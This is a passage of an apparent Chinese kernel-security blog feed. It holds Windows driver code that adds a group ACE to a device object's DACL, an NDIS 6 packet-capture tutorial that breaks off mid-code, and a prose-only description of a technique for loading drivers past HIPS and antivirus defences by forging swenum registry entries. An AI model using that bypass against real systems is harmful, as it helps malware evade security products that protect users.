		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to adjust the Ace of device object</title>
		<link>http://www.softrce.net/archives/217</link>
		<comments>http://www.softrce.net/archives/217#comments</comments>
		<pubDate>Wed, 10 Feb 2010 08:28:03 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[ACE]]></category>
		<category><![CDATA[GroupSid]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=217</guid>
		<description><![CDATA[一直想给以前弄的东西写点什么或者给KP贡献点代码文档什么的，但是苦于一直没有时间，换工作，换住处，换了很多东西，也就没闲的下来抛砖了，难得要过年了，扔一块试试水深。
直接扔关键代码，不想写太多的说明，本来这些代码也只是副产品,眼尖的应该能看出来这些代码的来处和用处。

PACCESS_ALLOWED_ACE
GetAceFromAcl(
    IN PACL Dacl,
    IN ULONG AceIndex
    )

<!--more--><!--more-->]]></description>
			<content:encoded><![CDATA[<p> <br />
直接扔关键代码，不想写太多的说明，本来这些代码也只是副产品，眼尖的应该能看出来这些代码的来处和去处。</p>
<p><span id="more-217"></span><!--more--><br />
===============</p>
<pre>PACCESS_ALLOWED_ACE
GetAceFromAcl(
    IN PACL Dacl,
    IN ULONG AceIndex
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    USHORT i = 0;
    PACCESS_ALLOWED_ACE Ace = NULL;

    if (Dacl &amp;&amp; AceIndex &lt; Dacl-&gt;AceCount)
    {
        for (Ace = FirstAce(Dacl); i &lt; AceIndex; Ace = NextAce(Ace))
        {
            if (Ace &gt;= (PACCESS_ALLOWED_ACE)((PUCHAR)Dacl + Dacl-&gt;AclSize))
            {
                break;
            }

            ++ i;   
        }

        if (i == AceIndex)
        {
            return Ace;
        }
    }

    return NULL;
}

BOOLEAN
NmCheckDaclForGroupSid(
    IN PACL Dacl
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{ 
    USHORT i = 0;
    USHORT gSidOffset, cSidOffset;
    BOOLEAN result = FALSE;
    PACCESS_ALLOWED_ACE pACE = NULL;
    SIZE_T retLong;

    if (g_GroupAce-&gt;Header.AceSize &gt;= (USHORT)(sizeof(ACCESS_ALLOWED_ACE)))
    {
        gSidOffset = g_GroupAce-&gt;Header.AceSize -
              (USHORT)(sizeof(ACCESS_ALLOWED_ACE));  

        if (Dacl-&gt;AceCount)
        {
            do
            {
                pACE = GetAceFromAcl(Dacl, i);

                if (pACE)
                {
                    cSidOffset = pACE-&gt;Header.AceSize -
                          (USHORT)(sizeof(ACCESS_ALLOWED_ACE));

                    if (gSidOffset == cSidOffset)
                    {
                        retLong = RtlCompareMemory(
                            &amp;(pACE-&gt;SidStart),
                            &amp;(g_GroupAce-&gt;SidStart),
                            cSidOffset
                            );

                        result = (cSidOffset == retLong);

                        if (result == TRUE)
                        {
                            return result;
                        }
                    }
                 }

                 ++ i;

            } while (i &lt; Dacl-&gt;AceCount);
        }
    }

    return result;
}

BOOLEAN
AddAceToAcl(
    IN PACL NewAcl,
    IN PACCESS_ALLOWED_ACE toAddAce
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{ 
    USHORT i = 0;
    PACCESS_ALLOWED_ACE Ace = FirstAce(NewAcl);

    if (NewAcl &amp;&amp; toAddAce)
    {
        if (NewAcl-&gt;AceCount)
        {
            for (NOTHING; i &lt; NewAcl-&gt;AceCount; Ace = NextAce(Ace))
            {
                if (Ace &gt;= (PACCESS_ALLOWED_ACE)((PUCHAR)NewAcl + NewAcl-&gt;AclSize))
                {
                    break;
                }

                ++ i;
            }
         }

         if ((PACCESS_ALLOWED_ACE)((PUCHAR)Ace + toAddAce-&gt;Header.AceSize) &gt;
                        (PACCESS_ALLOWED_ACE)((PUCHAR)NewAcl + NewAcl-&gt;AclSize))
         {
             return FALSE;
         }
         else
         {
             NdisMoveMemory(
                 Ace,
                 toAddAce,
                 toAddAce-&gt;Header.AceSize
                 );

             NewAcl-&gt;AceCount = i + 1;
         }
    }

    return TRUE;
}

NDIS_STATUS
NmModifyDacl(
    IN PACL oldDacl,
    OUT PACL* NewDacl
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    NDIS_STATUS result = NDIS_STATUS_SUCCESS;
    USHORT tSize;
    PACL tmpDacl = NULL;
    USHORT i = 0;
    PACCESS_DENIED_ACE pdACE = NULL;
    PACCESS_ALLOWED_ACE paACE = NULL;

    if (oldDacl)
    {
        tSize = oldDacl-&gt;AclSize + g_GroupAce-&gt;Header.AceSize;

        tmpDacl = (PACL)ExAllocatePoolWithTag(
            NonPagedPool,
            tSize,
            'dnTF'
            );
        if (tmpDacl)
        {
            tmpDacl-&gt;AclRevision = oldDacl-&gt;AclRevision;   
            tmpDacl-&gt;Sbz1 = oldDacl-&gt;Sbz1;
            tmpDacl-&gt;AceCount = 0;
            tmpDacl-&gt;AclSize = tSize;   
            tmpDacl-&gt;Sbz2 = oldDacl-&gt;Sbz2;

            if (oldDacl-&gt;AceCount)
            {
                do
                {
                    pdACE = (PACCESS_DENIED_ACE)GetAceFromAcl(
                        oldDacl,
                        i
                        );
                    if (pdACE-&gt;Header.AceType != ACCESS_DENIED_ACE_TYPE)
                    {
                        break;
                    }

                    AddAceToAcl(tmpDacl, (PACCESS_ALLOWED_ACE)pdACE);

                    ++ i;

                } while (i &lt; oldDacl-&gt;AceCount);    
             }

             AddAceToAcl(tmpDacl, g_GroupAce);

             while(i &lt; oldDacl-&gt;AceCount)
             {
                 paACE = GetAceFromAcl(oldDacl, i);

                 AddAceToAcl(tmpDacl, (PACCESS_ALLOWED_ACE)paACE);

                 ++ i;
             }

             *NewDacl= tmpDacl;
        }
    }   

    return result;
}

NDIS_STATUS
NmAddGroupAccessAce(
    IN PDEVICE_OBJECT DeviceObject
    )
/*++

Routine Description:

Arguments:

Return Value:

--*/

{
    NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
    PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
    PSECURITY_DESCRIPTOR NewSecurityDescriptor = NULL;

    ULONG csize = sizeof(SECURITY_DESCRIPTOR);
    PACL NewDdcl = NULL;
    HANDLE Handle = NULL;
    BOOLEAN DaclPresent, DaclDefaulted;
    PACL Dacl = NULL;

    if (DeviceObject &amp;&amp; g_GroupAce)
    {
        Status = ObOpenObjectByPointer(
            DeviceObject,
            OBJ_KERNEL_HANDLE,
            NULL,
            WRITE_DAC,
            0,
            0,
            &amp;Handle
            );
        if (Status == NDIS_STATUS_SUCCESS)
        {
            SecurityDescriptor = DeviceObject-&gt;SecurityDescriptor;

            Status = RtlGetDaclSecurityDescriptor(
                SecurityDescriptor,
                &amp;DaclPresent,
                &amp;Dacl,
                &amp;DaclDefaulted
                );
            if (Status == NDIS_STATUS_SUCCESS)
            {
                ASSERT(DaclPresent);
                ASSERT(Dacl != NULL);

                if (NmCheckDaclForGroupSid(Dacl) != TRUE)
                {
                    csize = RtlLengthSecurityDescriptor(SecurityDescriptor);

                    NewSecurityDescriptor = ExAllocatePoolWithTag(
                        NonPagedPool,
                        g_GroupAce-&gt;Header.AceSize + csize,
                        'dnTF'
                        );
                    if (NewSecurityDescriptor)
                    {
                        RtlCreateSecurityDescriptor(
                            NewSecurityDescriptor,
                            SECURITY_DESCRIPTOR_REVISION
                            );

                        Status = NmModifyDacl(
                            Dacl,
                            &amp;NewDdcl
                            );
                        if (Status == NDIS_STATUS_SUCCESS)
                        {
                            Status = RtlSetDaclSecurityDescriptor(
                                NewSecurityDescriptor,
                                TRUE,
                                NewDdcl,
                                FALSE
                                );
                            if (Status == NDIS_STATUS_SUCCESS)
                            {
                                Status = ZwSetSecurityObject(
                                    Handle,
                                    DACL_SECURITY_INFORMATION,
                                    NewSecurityDescriptor
                                    );
                            }
                        }
                    }
                }
            }
        }

        if (Handle)
        {
            ZwClose(Handle);
        }

        if (NewSecurityDescriptor)
        {
            ExFreePoolWithTag(NewSecurityDescriptor, 'dnTF');
        }

        if (NewDdcl)
        {
            ExFreePoolWithTag(NewDdcl, 'dnTF');
        }
    }

    return Status;
}</pre>
<p>===============</p>
<p>在RegisterDevice之后加上即可，对于g_GroupAce，这个查询注册表或者自己获取，这些都是因时而异。<br />
我这里是需要从注册表读过来的，然后加上去的：</p>
<p>===============</p>
<pre>PACCESS_ALLOWED_ACE g_GroupAce = NULL;

//...省略...

       InitializeObjectAttributes(
           &amp;ObjectAttributes,
           RegistryPath,
           OBJ_CASE_INSENSITIVE,
           NULL,
           NULL
           );

       Status = ZwOpenKey(
           &amp;hHandle,
           KEY_READ,
           &amp;ObjectAttributes
           );
       if (Status == STATUS_SUCCESS)
       {
           RtlInitUnicodeString(&amp;DestinationString, L"GroupSid");

           Status = ZwQueryValueKey(
               hHandle,
               &amp;DestinationString,
               KeyValueFullInformation,
               0,
               0,
               &amp;ResultLength
               );
           if (Status == STATUS_BUFFER_OVERFLOW ||
               Status == STATUS_BUFFER_TOO_SMALL)
           {
               pBuffer = (PKEY_VALUE_FULL_INFORMATION)ExAllocatePoolWithTag(
                   NonPagedPool,
                   ResultLength,
                   'dnTF'
                   );  
               if (pBuffer)
               {
                   Status = ZwQueryValueKey(
                       hHandle,
                       &amp;DestinationString,
                       KeyValueFullInformation,
                       pBuffer,
                       ResultLength,
                       &amp;ResultLength
                       );
                   if (Status == STATUS_SUCCESS)
                   {
                         g_GroupAce = (PACCESS_ALLOWED_ACE)ExAllocatePoolWithTag(
                              NonPagedPool,
                              pBuffer-&gt;DataLength + sizeof(ACCESS_ALLOWED_ACE),
                              'gamn'
                              );
                         if (g_GroupAce)
                         {
                              NdisZeroMemory(
                                  g_GroupAce,
                                  pBuffer-&gt;DataLength + sizeof(ACCESS_ALLOWED_ACE)
                                  );

                              g_GroupAce-&gt;Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
                              g_GroupAce-&gt;Header.AceFlags = 0;
                              g_GroupAce-&gt;Header.AceSize =
                                   (USHORT)(pBuffer-&gt;DataLength +
                                   sizeof(ACCESS_ALLOWED_ACE));

                              g_GroupAce-&gt;Mask = SYNCHRONIZE |
                                   READ_CONTROL | FILE_READ_ATTRIBUTES |
                                   FILE_READ_DATA | FILE_READ_EA;

                              NdisMoveMemory(
                                  (PVOID)&amp;(g_GroupAce-&gt;SidStart),
                                  (PVOID)((PUCHAR)pBuffer + pBuffer-&gt;DataOffset),
                                  pBuffer-&gt;DataLength
                                  );

//...省略...</pre>
<p>===============</p>
<p>PS: 排版很麻烦，我改了半天。下篇把这个工程的真正精华部分放上来大家探讨。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/217">2010年10月11日</a>, Lewis writes: 你丫的，没下文了！</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/10" rel="bookmark" title="Permanent Link: [国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li><a href="http://www.softrce.net/archives/9" rel="bookmark" title="Permanent Link: 文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li><a href="http://www.softrce.net/archives/14" rel="bookmark" title="Permanent Link: Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2011年04月8日 -- <a href="http://www.softrce.net/archives/381" title="Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability">Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/15" title="构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/217/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>BEIH/F：总线枚举接口劫持/伪造</title>
		<link>http://www.softrce.net/archives/192</link>
		<comments>http://www.softrce.net/archives/192#comments</comments>
		<pubDate>Mon, 01 Jun 2009 00:31:45 +0000</pubDate>
		<dc:creator>azy</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[BEIH/F]]></category>
		<category><![CDATA[劫持]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=192</guid>
		<description><![CDATA[BEIH/F，穿越，HIPS，主动防御，加载驱动]]></description>
			<content:encoded><![CDATA[<p>BEIH/F：总线枚举接口劫持/伪造</p>
<p>作者：Azy<br />
日期：2009-5-31</p>
<p>    如果说Audio Mixer劫持（AMH, <a href="http://hi.baidu.com/azy0922/blog/item/fc4fc91e5c2d2617403417a8.html">http://hi.baidu.com/azy0922/blog/item/fc4fc91e5c2d2617403417a8.html</a>）是一种较为被动的穿越，那么BEIH/F则是主动的攻击。通过BEIH/F可以穿越地上HIPS/主动防御产品加载驱动。<span id="more-192"></span><br />
    该方法原理与amh是相同的，最后驱动的加载也是走ExpWorkerThread-&gt;PipDeviceActionWorker-&gt;IopLoadDriver这条路径，从而绕过了HIPS/主防产品的拦截。但触发攻击的方式完全不同。<br />
    OS中存在一些音频驱动，它们的Start=3，并且Enum键下的值均为0。这些驱动是在系统需要的时候动态枚举并安装总线接口，然后加载相应的驱动文件。<br />
    那么如何触发动态枚举安装接口并加载这些驱动呢？答案就是给swenum驱动发送一个特别的I/O Control Code来触发。在InputBuffer中填入欲加载驱动所在接口的GUID值，然后发I/O control Irp到swenum驱动，便可完成一次触发。内核在接到上述Irp后会扫描总线并动态进行接口安装，然后调用IoInvalidateDeviceRelations来触发最后的驱动安装。<br />
    由于这一过程完全是人为可控，并且总线枚举的GUID信息全部存储在注册表中，因此我们可以事先篡改仿造HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SW键及HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses下面对应的GUID值及其它接口信息。这样一来，便可成功完成一次BEIH/F攻击。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/192">2009年06月8日</a>, dge writes: 膜拜</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2011年09月13日 -- <a href="http://www.softrce.net/archives/405" title="Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)">Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062)</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2008年10月15日 -- <a href="http://www.softrce.net/archives/12" title="About Handling Nmi">About Handling Nmi</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/63" title="Native Application之键盘处理">Native Application之键盘处理</a></li><li>2010年09月13日 -- <a href="http://www.softrce.net/archives/337" title="金山毒霸2011内核溢出漏洞">金山毒霸2011内核溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/192/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>基于NDIS Filter 抓包</title>
		<link>http://www.softrce.net/archives/189</link>
		<comments>http://www.softrce.net/archives/189#comments</comments>
		<pubDate>Sat, 30 May 2009 15:07:59 +0000</pubDate>
		<dc:creator>Lewis</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>
		<category><![CDATA[ndis 6]]></category>
		<category><![CDATA[NDIS Filter]]></category>
		<category><![CDATA[抓包]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=189</guid>
		<description><![CDATA[NDIS Filter]]></description>
			<content:encoded><![CDATA[<p>	NDIS 6.0中有了一个新框架，号称比NDIS IMD更牛B。开始关注这个东西是因为卡巴的防火墙取个名字叫Kaspersky Anti-Virus NDIS Filter ，又听说WDK中才有新框架，但是卡巴老早就在用了，就觉得卡巴真牛。（后来看Filter 的时候，自己的Filter驱动既不能在编译到XP平台的，编译VISTA的安装上去也没用，怀疑卡巴就是一个IMD的驱动，取了个名字NDIS Filter 而已，有空F5下。）<span id="more-189"></span><br />
	说正题，微软建议使用NDIS Filter替代NDIS IMD。Filter Driver比IMD驱动更容易实现，Filter驱动被插入在Miniport驱动和Protocol Driver之间。Filter Driver会 attach到Miniport Driver上，对于Protocol Driver来说，Filter Driver是透明的。Filter Driver与任何设备对象无关。Filter Driver可以动态的安装和卸载。在IMD驱动的里面，你需要注册一个Miniport和Protocol两层驱动。（所以以前的IMD有两个相关联的INF文件。）Filter驱动就没那么麻烦，直接一步搞定。我也不会怎么写理论的文章直接看图吧！</p>
<p>如下图所示：<br />
<img src="http://www.softrce.net/wp-content/uploads/2009/05/2222.jpg" alt="2222" title="2222" width="270" height="473" class="alignnone size-full wp-image-203" /><br />
Filter Driver 框架介绍<br />
	WDK中\src\network\ndis\filter中Filter的主要框架，在MSDN文档里面有对这个框架的详细解释，这里我们只简单说几个函数。</p>
<p>	DriverEntry<br />
	// NDIS调用这个函数为一些数据结构分配内存和作初始化工作<br />
	// 主要的结构体有:<br />
	//NDIS_FILTER_DRIVER_CHARACTERISTICS	指定一些Filter驱动的特性，并把这些参数传给NDIS。<br />
	// 主要的函数：<br />
	//	NdisFRegisterFilterDriver 把Filter驱动注册给NDIS</p>
<p>	FilterAttach<br />
	// NDIS调用这个函数为一些数据结构分配内存和作初始化工作<br />
	// 主要的结构体有:<br />
	//	NDIS_FILTER_ATTACH_PARAMETERS	初始化参数<br />
	//	NDIS_FILTER_ATTRIBUTES			Filter模块的属性</p>
<p>	FilterRegisterDevice<br />
	// 填充分派函数，初始化设备属性。并注册。<br />
	// 主要的结构体有:<br />
	//	NDIS_FILTER_ATTACH_PARAMETERS	初始化参数<br />
	//	NDIS_FILTER_ATTRIBUTES			Filter模块的属性</p>
<p>	FilterSendNetBufferLists<br />
	// 用这个函数去过滤一个NET_BUFFER_LIST的发送<br />
	// 主要的结构体有:<br />
	//	NET_BUFFER_LIST		NET_BUFFER的链表</p>
<p>	FilterReceiveNetBufferLists<br />
	// 用这个函数去过滤一个NET_BUFFER_LIST的接收<br />
	// 主要的结构体有:<br />
	//	NET_BUFFER_LIST		NET_BUFFER的链表</p>
<p>	如果要读取数据包，那么有两个结构体就相当重要了。它们是NET_BUFFER_LIST和 NET_BUFFER。定义如下：<br />
<code></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p189code1'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1891"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code" id="p189code1"><pre class="c" style="font-family:monospace;">	<span style="color: #993333;">typedef</span>	<span style="color: #993333;">struct</span>	_NET_BUFFER_LIST<span style="color: #009900;">&#123;</span>
		NET_BUFFER_LIST_HEADER			NetBufferListHeader<span style="color: #339933;">;</span>
		PNET_BUFFER_LIST_CONTEXT		Context<span style="color: #339933;">;</span>
		PNET_BUFFER_LIST				ParentNetBufferList<span style="color: #339933;">;</span>
		NDIS_HANDLE						NdisPoolHandle<span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID		NdisReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID		ProtocolReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID		MiniportReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		PVOID							Scratch<span style="color: #339933;">;</span>
		NDIS_HANDLE						SourceHandle<span style="color: #339933;">;</span>
		ULONG							NblFlags<span style="color: #339933;">;</span>
		LONG							ChildRefCount<span style="color: #339933;">;</span>
		ULONG							Flags<span style="color: #339933;">;</span>
		NDIS_STATUS						Status<span style="color: #339933;">;</span>
		PVOID							NetBufferListInfo<span style="color: #009900;">&#91;</span>MaxNetBufferListInfo<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>NET_BUFFER_LIST<span style="color: #339933;">,*</span>PNET_BUFFER_LIST<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #993333;">typedef</span>	<span style="color: #993333;">struct</span>	_NET_BUFFER	<span style="color: #009900;">&#123;</span>
		NET_BUFFER_HEADER	NetBufferHeader<span style="color: #339933;">;</span>
		USHORT		ChecksumBias<span style="color: #339933;">;</span>
		USHORT		Reserved<span style="color: #339933;">;</span>
		NDIS_HANDLE	NdisPoolHandle<span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID	NdisReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID	ProtocolReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		DECLSPEC_ALIGN<span style="color: #009900;">&#40;</span>MEMORY_ALLOCATION_ALIGNMENT<span style="color: #009900;">&#41;</span>PVOID MiniportReserved<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		NDIS_PHYSICAL_ADDRESS	DataPhysicalAddress<span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">// was NdisReserved1;</span>
	<span style="color: #009900;">&#125;</span> NET_BUFFER<span style="color: #339933;">,</span>	<span style="color: #339933;">*</span>PNET_BUFFER<span style="color: #339933;">;</span></pre></td></tr></table></div>

<p></code><br />
另外，还有一些宏定义。<br />
NET_BUFFER_LIST_FIRST_NB			从NET_BUFFER_LIST结构中获得第一个NDIS_BUFFER<br />
NET_BUFFER_DATA_OFFSET			从NDIS_BUFFER中获得DATA的偏移<br />
NET_BUFFER_FIRST_MDL				从NDIS_BUFFER中获得第一个MDL<br />
NET_BUFFER_DATA_LENGTH			取得DATA的长度<br />
更具体的自己去看MSDN了。</p>
<p>我根据MSDN和GOOGLE的指点大概写了一段代码了读取数据包。读出数据包的地址和长度。<br />
<code></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p189code2'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1892"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code" id="p189code2"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span>  ReadNetBuffer<span style="color: #009900;">&#40;</span> PNET_BUFFER_LIST NetBufferLists <span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	PUCHAR				data<span style="color: #339933;">,</span>info<span style="color: #339933;">;</span>
	ULONG				len<span style="color: #339933;">,</span>i<span style="color: #339933;">,</span>offset<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	PNET_BUFFER_LIST	CurrNbl<span style="color: #339933;">;</span>
	PNET_BUFFER			Currbuff<span style="color: #339933;">;</span>
	PMDL				mdl<span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span>					DataLen<span style="color: #339933;">;</span>
&nbsp;
	CurrNbl <span style="color: #339933;">=</span> NetBufferLists<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>CurrNbl<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		Currbuff <span style="color: #339933;">=</span> NET_BUFFER_LIST_FIRST_NB<span style="color: #009900;">&#40;</span>CurrNbl<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>Currbuff<span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			offset <span style="color: #339933;">=</span>	NET_BUFFER_DATA_OFFSET<span style="color: #009900;">&#40;</span>Currbuff<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			mdl <span style="color: #339933;">=</span>		NET_BUFFER_FIRST_MDL<span style="color: #009900;">&#40;</span>Currbuff<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			DataLen	<span style="color: #339933;">=</span>	NET_BUFFER_DATA_LENGTH<span style="color: #009900;">&#40;</span>Currbuff<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> mdl <span style="color: #339933;">&amp;&amp;</span> DataLen <span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				data <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>UCHAR<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>MmGetSystemAddressForMdlSafe<span style="color: #009900;">&#40;</span> mdl<span style="color: #339933;">,</span>NormalPagePriority <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					info <span style="color: #339933;">=</span> data <span style="color: #339933;">+</span> offset<span style="color: #339933;">;</span>
					KdPrint<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; PacketData : %p , PacketSize : %d &quot;</span><span style="color: #339933;">,</span>info<span style="color: #339933;">,</span>DataLen<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span>
			Currbuff <span style="color: #339933;">=</span> NET_BUFFER_NEXT_NB<span style="color: #009900;">&#40;</span>Currbuff<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		CurrNbl <span style="color: #339933;">=</span> NET_BUFFER_LIST_NEXT_NBL<span style="color: #009900;">&#40;</span>CurrNbl<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
